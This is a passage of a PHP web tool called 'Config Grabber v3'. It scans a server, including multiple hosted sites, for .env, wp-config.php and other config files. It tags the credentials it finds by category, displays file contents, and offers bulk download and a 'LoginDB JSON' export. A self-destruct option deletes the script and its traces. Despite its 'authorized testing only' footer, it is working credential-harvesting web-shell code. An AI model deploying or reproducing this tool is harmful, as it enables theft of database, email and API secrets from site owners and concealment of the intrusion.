    $viewFile = base64_decode($fileB64);
    $modalContent = 'File not accessible.';
    $fileInfo = 'Unknown file';
    
    if ($viewFile && !empty($viewFile)) {
        $content = getFileContent($viewFile);
        if ($content !== false && $content !== '') {
            $labels = [];
            if ($scanData) {
                foreach ($scanData['filesWithLabels'] as $item) {
                    if ($item['path'] === $viewFile) { 
                        $labels = $item['labels']; 
                        $fileInfo = 'FILE: ' . $viewFile . ' | Type: ' . basename($viewFile);
                        break; 
                    }
                }
            }
            $modalContent = 'FILE: ' . $viewFile . "\n\n" . highlightContent($content, $labels);
        } else {
            $modalContent = 'Failed to read file (permission denied or not readable).';
        }
    } else {
        $modalContent = 'Invalid file path or file does not exist.';
    }
    
    if (isset($_GET['ajax'])) {
        header('Content-Type: text/html; charset=utf-8');
        echo '<div style="background:var(--bg-main);color:var(--text-primary);font-family:monospace;padding:10px;white-space:pre-wrap;word-break:break-all;max-height:70vh;overflow-y:auto;">' . $modalContent . '</div>';
        exit;
    }
}

// ----------------------- TAMPILAN UI -----------------------
$scanData = isset($_SESSION['scan_results']) ? $_SESSION['scan_results'] : null;
$filter = isset($_GET['filter']) ? $_GET['filter'] : 'All';
$typeFilter = isset($_GET['type']) ? $_GET['type'] : 'All';

$displayData = [];
if ($scanData) {
    foreach ($scanData['filesWithLabels'] as $item) {
        if ($filter !== 'All') {
            $has = false;
            foreach ($item['grouped'] as $cat => $labels) { if ($cat === $filter) { $has = true; break; } }
            if (!$has) continue;
        }
        if ($typeFilter !== 'All') {
            $base = basename($item['path']);
            if ($typeFilter === '.env' && !preg_match('/\.env/', $base)) continue;
            if ($typeFilter === 'wp-config.php' && $base !== 'wp-config.php') continue;
            if ($typeFilter === 'configuration.php' && $base !== 'configuration.php') continue;
            if ($typeFilter === 'config.php' && $base !== 'config.php') continue;
            if ($typeFilter === 'app-config.php' && $base !== 'app-config.php') continue;
            if ($typeFilter === 'database.php' && $base !== 'database.php') continue;
        }
        $displayData[] = $item;
    }
}
$initialMethod = CommandExecutor::getBestMethod();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Config Grabber v3</title>
    <style>
        :root {
            --bg-main: #121212;
            --bg-panel: #1C1C1E;
            --border-color: #2C2C2E;
            --text-primary: #F2F2F7;
            --text-muted: #8E8E93;
            --accent: #D31D34;
            --accent-soft: rgba(211,29,52,0.12);
            --hover-bg: rgba(242,242,247,0.04);
            --radius-lg: 12px;
            --radius-md: 8px;
            --font-stack: 'Courier New', monospace;
        }
        .light {
            --bg-main: #F4F4F6;
            --bg-panel: #FFF;
            --border-color: #E5E5EA;
            --text-primary: #1C1C1E;
            --text-muted: #8E8E93;
            --accent: #B51A2B;
            --accent-soft: rgba(181,26,43,0.08);
            --hover-bg: rgba(28,28,30,0.04);
        }
        * { margin:0; padding:0; box-sizing:border-box; }
        body {
            background: var(--bg-main);
            color: var(--text-primary);
            font-family: var(--font-stack);
            padding: 24px;
            min-height: 100vh;
        }
        .container { max-width: 1400px; margin:0 auto; }
        .header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            flex-wrap: wrap;
        }
        .logo { font-size: 22px; font-weight:bold; }
        .logo span { color: var(--accent); }
        .theme-toggle {
            background: var(--bg-panel);
            border: 1px solid var(--border-color);
            color: var(--text-primary);
            padding: 6px 14px;
            border-radius: var(--radius-md);
            cursor: pointer;
            font-family: var(--font-stack);
            font-size: 13px;
        }
        .theme-toggle:hover { border-color: var(--accent); }
        .card {
            background: var(--bg-panel);
            border: 1px solid var(--border-color);
            border-radius: var(--radius-lg);
            padding: 20px;
            margin-bottom: 20px;
        }
        .card-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
            border-bottom: 1px solid var(--border-color);
            padding-bottom: 10px;
        }
        .card-header .title { font-weight:600; font-size:15px; }
        .card-header .badge { font-size:12px; color:var(--text-muted); }
        .card-header .badge span { color:var(--accent); }
        .form-row {
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
            align-items: end;
        }
        .form-row label { display:block; font-size:12px; color:var(--text-muted); margin-bottom:3px; }
        .form-row input, .form-row select {
            background: var(--bg-main);
            border: 1px solid var(--border-color);
            color: var(--text-primary);
            padding: 6px 10px;
            border-radius: var(--radius-md);
            font-family: var(--font-stack);
            font-size: 13px;
        }
        .form-row input:focus { border-color: var(--accent); outline:none; }
        .btn {
            background: var(--accent);
            border: none;
            color: #fff;
            padding: 6px 18px;
            border-radius: var(--radius-md);
            cursor: pointer;
            font-family: var(--font-stack);
            font-size: 13px;
            font-weight:600;
        }
        .btn:hover { opacity:0.85; }
        .btn-rescan {
            background: transparent;
            border: 1px solid var(--border-color);
            color: var(--text-muted);
            padding: 6px 14px;
            border-radius: var(--radius-md);
            cursor: pointer;
            font-family: var(--font-stack);
            font-size: 13px;
        }
        .btn-rescan:hover { border-color: var(--accent); color: var(--text-primary); }
        .btn-danger {
            background: transparent;
            border: 1px solid #ff4444;
            color: #ff4444;
            padding: 6px 14px;
            border-radius: var(--radius-md);
            cursor: pointer;
            font-family: var(--font-stack);
            font-size: 13px;
        }
        .btn-danger:hover { background: #ff4444; color: #fff; }
        .btn-download {
            background: var(--bg-main);
            border: 1px solid var(--border-color);
            color: var(--text-primary);
            padding: 4px 12px;
            border-radius: var(--radius-md);
            cursor: pointer;
            font-family: var(--font-stack);
            font-size: 12px;
            text-decoration: none;
            display: inline-block;
        }
        .btn-download:hover { border-color: var(--accent); }
        .btn-clear {
            background: var(--bg-panel);
            border: 1px solid var(--border-color);
            color: var(--text-primary);
            padding: 4px 12px;
            border-radius: var(--radius-md);
            cursor: pointer;
            font-family: var(--font-stack);
            font-size: 12px;
            text-decoration: none;
            display: inline-block;
        }
        .btn-clear:hover { border-color: var(--accent); }
        .filter-bar {
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
            align-items: center;
            margin-bottom: 15px;
        }
        .filter-bar select {
            background: var(--bg-main);
            border: 1px solid var(--border-color);
            color: var(--text-primary);
            padding: 4px 10px;
            border-radius: var(--radius-md);
            font-family: var(--font-stack);
            font-size: 12px;
        }
        .table-wrap { overflow-x: auto; }
        table {
            width: 100%;
            border-collapse: collapse;
            font-size: 13px;
        }
        th {
            text-align: left;
            padding: 8px 10px;
            border-bottom: 2px solid var(--border-color);
            color: var(--text-muted);
            font-weight: 600;
        }
        td {
            padding: 6px 10px;
            border-bottom: 1px solid var(--border-color);
            vertical-align: middle;
        }
        tr:hover { background: var(--hover-bg); }
        .path-col { word-break: break-all; max-width: 500px; }
        .type-col { white-space: nowrap; }
        .action-col { white-space: nowrap; }
        .action-link {
            color: var(--text-primary);
            text-decoration: none;
            padding: 2px 8px;
            border: 1px solid var(--border-color);
            border-radius: 4px;
            font-size: 12px;
            margin-right: 4px;
            background: var(--bg-main);
            display: inline-block;
        }
        .action-link:hover { border-color: var(--accent); }
        .label-account { color: #ff6b6b; }
        .label-ai { color: #4ecdc4; }
        .label-email { color: #ffe66d; }
        .label-config { color: #95e1d3; }
        .label-generic { color: #aaaaaa; }
        .score { color: var(--text-muted); font-size:0.8em; margin-left:4px; }

        .modal {
            display: none;
            position: fixed;
            z-index: 1000;
            left:0; top:0;
            width:100%; height:100%;
            background: rgba(0,0,0,0.85);
            overflow: hidden;
        }
        .modal-content {
            background: var(--bg-panel);
            border: 1px solid var(--border-color);
            margin: 3% auto;
            padding: 20px;
            width: 92%;
            max-width: 1100px;
            max-height: 92vh;
            border-radius: var(--radius-lg);
            display: flex;
            flex-direction: column;
        }
        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            border-bottom: 1px solid var(--border-color);
            padding-bottom: 10px;
            margin-bottom: 10px;
            flex-shrink: 0;
        }
        .modal-title { font-size:14px; word-break: break-all; color: var(--text-primary); }
        .modal-close { font-size:24px; font-weight:bold; cursor:pointer; color: var(--text-muted); line-height:1; }
        .modal-close:hover { color: var(--accent); }
        .modal-body {
            flex:1;
            overflow-y: auto;
            background: var(--bg-main);
            border-radius: var(--radius-md);
            padding: 10px;
            min-height: 200px;
            color: var(--text-primary);
        }
        .modal-body pre {
            margin:0;
            white-space:pre-wrap;
            word-break:break-all;
            font-family: 'Courier New', monospace;
            font-size:13px;
            line-height:1.5;
            color: var(--text-primary);
        }
        .status { font-size:12px; color:var(--text-muted); margin-top:10px; }
        .status .method { color:var(--accent); font-weight:500; }
        .footer { text-align:center; color:var(--text-muted); font-size:12px; margin-top:30px; }
        .debug-box { background:#1a1a1a; border:1px solid #555; padding:10px; margin-top:10px; border-radius:4px; font-size:12px; color:#aaa; overflow-x:auto; max-height:200px; }
        .debug-box strong { color:#00ff41; }
        .version-badge { color: #4ecdc4; font-size:12px; margin-left:8px; }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <div class="logo">Config <span>Grabber</span> <span class="version-badge">v3 - Multi-site</span></div>
        <button class="theme-toggle" onclick="toggleTheme()">Toggle Light / Dark</button>
    </div>

    <div class="card">
        <form method="post">
            <div class="form-row">
                <div>
                    <label>Custom directory (auto-expand if empty)</label>
                    <input type="text" name="base" value="" style="width:300px;" placeholder="/var/www/custom">
                </div>
                <div>
                    <label>Depth</label>
                    <input type="number" name="depth" value="12" style="width:70px;">
                </div>
                <div>
                    <label>Extra patterns</label>
                    <input type="text" name="extra" placeholder=".myconfig" style="width:160px;">
                </div>
                <div><button type="submit" name="cmd" value="find" class="btn">Scan</button></div>
            </div>
        </form>
        <?php if ($scanData !== null): ?>
        <div style="margin-top:12px; display:flex; flex-wrap:wrap; gap:10px; align-items:center;">
            <button class="btn-rescan" onclick="window.location.href='?rescan=1'">Rescan (clear cache & session)</button>
            <span style="color:var(--text-muted);font-size:13px;">Last scan: <?php echo $scanData['total']; ?> files | Method: <?php echo htmlspecialchars($scanData['methodUsed'] ?: 'N/A'); ?></span>
            <button class="btn-danger" onclick="if(confirm('Destroy all cache and session data? This will also delete the script.')){window.location.href='?selfdestruct=1';}">Self Destruct</button>
        </div>
        <?php if (isset($scanData['baseDirs'])): ?>
        <div class="debug-box">
            <strong>Base paths scanned:</strong><br>
            <?php foreach ($scanData['baseDirs'] as $b) echo htmlspecialchars($b) . '<br>'; ?>
        </div>
        <?php endif; ?>
        <?php endif; ?>
    </div>

    <?php if ($scanData !== null && !empty($displayData)): ?>
    <div class="card">
        <div class="card-header">
            <span class="title">Results</span>
            <span class="badge">Found: <span><?php echo count($displayData); ?></span> config files</span>
        </div>

        <div class="filter-bar">
            <select onchange="window.location.href='?filter='+this.value+'&type=<?php echo urlencode($typeFilter); ?>'">
                <option value="All" <?php echo $filter=='All'?'selected':''; ?>>All Categories</option>
                <option value="Account" <?php echo $filter=='Account'?'selected':''; ?>>Account</option>
                <option value="AI" <?php echo $filter=='AI'?'selected':''; ?>>AI</option>
                <option value="Email" <?php echo $filter=='Email'?'selected':''; ?>>Email</option>
                <option value="Config" <?php echo $filter=='Config'?'selected':''; ?>>Config/DB</option>
                <option value="Generic" <?php echo $filter=='Generic'?'selected':''; ?>>Generic</option>
            </select>
            <select onchange="window.location.href='?filter=<?php echo urlencode($filter); ?>&type='+this.value">
                <option value="All" <?php echo $typeFilter=='All'?'selected':''; ?>>All Types</option>
                <option value=".env" <?php echo $typeFilter=='.env'?'selected':''; ?>>.env</option>
                <option value="wp-config.php" <?php echo $typeFilter=='wp-config.php'?'selected':''; ?>>wp-config.php</option>
                <option value="configuration.php" <?php echo $typeFilter=='configuration.php'?'selected':''; ?>>configuration.php</option>
                <option value="config.php" <?php echo $typeFilter=='config.php'?'selected':''; ?>>config.php</option>
            </select>
            <a href="?filter=All&type=All" class="btn-clear">Clear Filters</a>
            <div style="margin-left:auto;display:flex;gap:8px;flex-wrap:wrap;">
                <a href="?download=all" class="btn-download">Download All</a>
                <a href="?download=logindb" class="btn-download">LoginDB JSON</a>
                <button class="btn-download" onclick="downloadSelected()">Download Selected</button>
                <a href="?download=category&cat=Account" class="btn-download">Account</a>
                <a href="?download=category&cat=AI" class="btn-download">AI</a>
                <a href="?download=category&cat=Email" class="btn-download">Email</a>
                <a href="?download=category&cat=Config" class="btn-download">Config</a>
            </div>
        </div>

        <form id="downloadForm" method="get" action="">
            <input type="hidden" name="download" value="selected">
            <div class="table-wrap">
                <table>
                    <thead><tr>
                        <th style="width:30px;"><input type="checkbox" id="selectAll" onchange="toggleAll(this)"></th>
                        <th style="width:130px;">TYPE</th>
                        <th>PATH</th>
                        <th style="width:220px;">LABELS</th>
                        <th style="width:100px;">ACTIONS</th>
                    </tr></thead>
                    <tbody>
                    <?php foreach ($displayData as $item):
                        $encoded = base64_encode($item['path']);
                        $type = basename($item['path']);
                        $labelHtml = '';
                        $order = ['Account','AI','Email','Config','Generic'];
                        $parts = [];
                        foreach ($order as $cat) {
                            if (isset($item['grouped'][$cat]) && !empty($item['grouped'][$cat])) {
                                $list = implode(', ', $item['grouped'][$cat]);
                                $class = 'label-' . strtolower($cat);
                                $parts[] = '<span class="' . $class . '">' . $cat . ': ' . $list . '</span>';
                            }
                        }
                        $labelHtml = implode(' | ', $parts);
                    ?>
                        <tr>
                            <td><input type="checkbox" name="files[]" value="<?php echo urlencode($encoded); ?>"></td>
                            <td class="type-col"><?php echo htmlspecialchars($type); ?></td>
                            <td class="path-col"><?php echo htmlspecialchars($item['path']); ?></td>
                            <td><?php echo $labelHtml; ?> <span class="score">[score: <?php echo $item['totalWeight']; ?>]</span></td>
                            <td class="action-col">
                                <a href="javascript:void(0)" onclick="openModal('<?php echo urlencode($encoded); ?>')" class="action-link">View</a>
                                <a href="?download=selected&file=<?php echo urlencode($encoded); ?>" class="action-link">DL</a>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </form>
    </div>
    <?php elseif ($scanData !== null && empty($displayData)): ?>
    <div class="card">
        <p style="color:var(--text-muted);">No files match current filters.</p>
        <a href="?filter=All&type=All" class="btn-clear" style="margin-top:10px;">Clear Filters</a>
    </div>
    <?php endif; ?>

    <div id="fileModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <span class="modal-title" id="modalTitle">File Content</span>
                <span class="modal-close" onclick="closeModal()">[x]</span>
            </div>
            <div class="modal-body" id="modalBody"><pre>Loading...</pre></div>
        </div>
    </div>

    <div class="footer">
        Config Grabber v3 – Multi-site expansion – For authorized testing only.
        <button class="btn-danger" style="margin-top:10px;" onclick="if(confirm('Self destruct?')){window.location.href='?selfdestruct=1';}">Self Destruct</button>
    </div>
</div>

<script>
function toggleAll(master) {
    document.querySelectorAll('input[name="files[]"]').forEach(cb => cb.checked = master.checked);
}
function downloadSelected() {
    var checkboxes = document.querySelectorAll('input[name="files[]"]:checked');
    if (checkboxes.length === 0) { alert('Select at least one file.'); return false; }
    var form = document.getElementById('downloadForm');
    form.querySelectorAll('input[name="file"]').forEach(el => el.remove());
    checkboxes.forEach(cb => {
        var hidden = document.createElement('input');
        hidden.type = 'hidden';
        hidden.name = 'file';
        hidden.value = cb.value;
        form.appendChild(hidden);
    });
    form.submit();
    return false;
}
function openModal(encoded) {
    var modal = document.getElementById('fileModal');
    var body = document.getElementById('modalBody');
    var title = document.getElementById('modalTitle');
    modal.style.display = 'block';
    body.innerHTML = '<pre>Loading...</pre>';
    title.textContent = 'Loading...';
    fetch('?view=' + encoded + '&ajax=1')
        .then(r => r.text())
        .then(html => {
            body.innerHTML = html;
            var match = html.match(/FILE:\s*([^\n]+)/);
            title.textContent = match ? match[1] : 'File Content';
        })
        .catch(err => body.innerHTML = '<pre style="color:#ff6b6b;">Error: ' + err + '</pre>');
}
function closeModal() {
    document.getElementById('fileModal').style.display = 'none';
}
window.onclick = function(e) {
    var modal = document.getElementById('fileModal');
    if (e.target == modal) modal.style.display = 'none';
};
document.addEventListener('keydown', function(e) {
    if (e.key === 'Escape') closeModal();
});
function toggleTheme() {
    document.body.classList.toggle('light');
    localStorage.setItem('fg_theme', document.body.classList.contains('light') ? 'light' : 'dark');
}
(function() {
    var saved = localStorage.getItem('fg_theme');
    if (saved === 'light') document.body.classList.add('light');
})();
</script>
</body>
</html>